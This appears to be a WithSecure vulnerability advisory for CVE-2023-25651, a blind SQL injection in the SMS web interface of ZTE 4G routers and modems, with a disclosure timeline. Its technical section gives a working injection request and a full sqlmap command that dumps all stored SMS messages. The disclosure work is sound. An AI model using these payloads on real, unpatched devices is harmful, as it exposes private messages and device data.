SQL Injection in ZTE 4G routers and modems


LTE (4G) Modems and Routers from ZTE contained an SQL Injection vulnerability in their SMS functionality. 

This would allow an attacker with access to the device's web interface to retrieve SMS messages, along with configuration data and internal statistics. While routers required users to authenticate to access the web interface, modems did not.

The devices identified as vulnerable by WithSecure were the MF286R-1.0 router, running Software CR_LVWRGBMF286RV1.0.0B04 and the MF833U1 modem, running Software BD_MF833U1V1.0.0B01. Both of these were bought from Amazon UK, and the MF286R-1.0 also appeared to be available from UK cellular networks as part of their mobile broadband offerings.

After WithSecure notified ZTE of this issue, and following further discussion, ZTE released security updates for the affected devices.

Technical Details

The "order_by" parameter within the web interface SMS functionality was vulnerable to boolean-based blind SQL injection. Further examination by WithSecure revealed that the underlying database engine was SQLite, and that the database only contained information that related to the SMS functionality.

When SMS messages were viewed through the LTE modem's web interface, a request was sent to the following URL: http://TEST.DEVICE.IP.ADDRESS/goform/goform_get_cmd_process?isTest=false&cmd=sms_data_total&page=0&data_per_page=5&mem_store=1&tags=10&order_by=order+by+id+desc&_=1692870779000.

Which returned a JSON array containing SMS messages sent and received on the device.

The value of the “order_by” parameter appeared to be included in the SQL query made by the web interface without any sanitisation. 

Using this, WithSecure was able to construct a Boolean query, which would return data if the result was true, or an empty response if the result was false.

The following HTTP request would inject SQL that tested whether 1=1, which always evaluates as true. 

GET /goform/goform_get_cmd_process?isTest=false&cmd=sms_data_total&page=0&data_per_page=500&mem_store=1&tags=10&order_by=order%20by%20CASE%20WHEN%281=1%29%20THEN%20id%20ELSE%20load_extension%281%29%20END%20asc&_=1234567 HTTP/1.1
Cache-Control: no-cache
Referer: http://TEST.DEVICE.IP.ADDRESS/index.html
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.75 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close

In its response, the device returned a JSON array containing message data (a “true” response):

HTTP/1.1 200 OK
Server: WebServer-Webs
Pragma: no-cache
Cache-Control: no-store
Content-Type: text/html
X-Frame-Options: sameorigin
X-XSS-Protection: 1; mode=block
Connection: close
Content-Length: 564

Adjusting the query to evaluate whether "1=2" resulted in a "false" response indicated by an empty array:

HTTP/1.1 200 OK
Server: WebServer-Webs
Pragma: no-cache
Cache-Control: no-store
Content-Type: text/html
X-Frame-Options: sameorigin
X-XSS-Protection: 1; mode=block
Connection: close

Once the boolean injection had been identified, WithSecure was able to automate extraction of the data within the database using SQLMap. By default, SQLMap failed to identify the injection vulnerability, so WithSecure researchers used the following command to specify the injection point, surrounding characters and techniques that SQLMap should use. Within the command, the “string” parameter defines a string that will only appear in “true” responses. In this case, WithSecure researchers set it to “SMARTY”, a UK mobile network operator and the sender of some SMS messages received by the device:

sqlmap -u "http://TEST.DEVICE.IP.ADDRESS/goform/goform_get_cmd_process?isTest=false&cmd=sms_data_total&page=0&data_per_page=500&mem_store=1&tags=10&order_by=&_=1234567" --level 5 --risk 3 --dbms=sqlite --prefix="order by CASE WHEN(" --suffix=") THEN id ELSE load_extension(1) END asc" -p order_by --string="SMARTY" --level=5 --risk=3 --technique=B -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.75 Safari/537.36" --referer="" -a --threads=5 --no-cast

Using these inputs, SQLMap was able to extract all content from the database, including the text of all SMS messages.


ZTE have patched the known vulnerable firmware versions, as described on their support website. Users can install the latest version for their modem or router through the "Updates" section of the device's web interface.

If your device is running a firmware version different from the ones listed in the ZTE support article, users can test for the presence of the vulnerability using the technical information provided above. WithSecure has no information about the vulnerability status of carrier specific firmware packages for these devices, or firmware versions for devices sold in other regions.


  • ZTE router MF286R-1.0 and USB modem MF833U1, running certain versions of firmware
  • Severity

  • Medium
  • Type

  • SQL injection in web interface
  • Credits

  • Adam Hiscocks
  • CVE id

  • CVE-2023-25651
  • Remediation

  • Update router or modem to latest published firmware build using the web interface

2023-06-08 - WithSecure notifies ZTE's security team via email.

2023-06-09 - ZTE responds, stating that the products tested are not in the scope of its bug bounty program, and suggests looking at other devices. WithSecure replies to ZTE, stating that the vulnerability was not being disclosed under the bug bounty program, and seeks clarity on when a fix will be released.

2023-06-12 - ZTE responds, requesting more detailed version information. WithSecure replies, stating that the full version was originally supplied, and provides a link to the product's Amazon listing to assist ZTE in identifying the product.

2023-06-14 - ZTE replies, stating that they are aware of the vulnerability; but have not yet fixed it on the products tested by WithSecure. WithSecure responds, requesting a CVE for the known vulnerability, and seeking clarity as to whether other versions of the MF286D have been patched.

2023-06-19 - ZTE responds, stating that they will push the fixed version to the customer "in the near future", and that they will disclose the vulnerability publicly once all fixed versions have been released.

2023-06-20 - WithSecure seeks a timeline for remediation, in accordance with its responsible disclosure policy. WithSecure also asks again about a CVE, and whether one has been assigned.

2023-06-27 - ZTE replies, stating that remediation timeline is tentatively 90 days, and that a CVE will be assigned at that point.

2023-08-23 - ZTE notifies WithSecure that they are about to publicly disclose the vulnerability. Further correspondence reveals that this is planned for the week commencing 28th August 2023.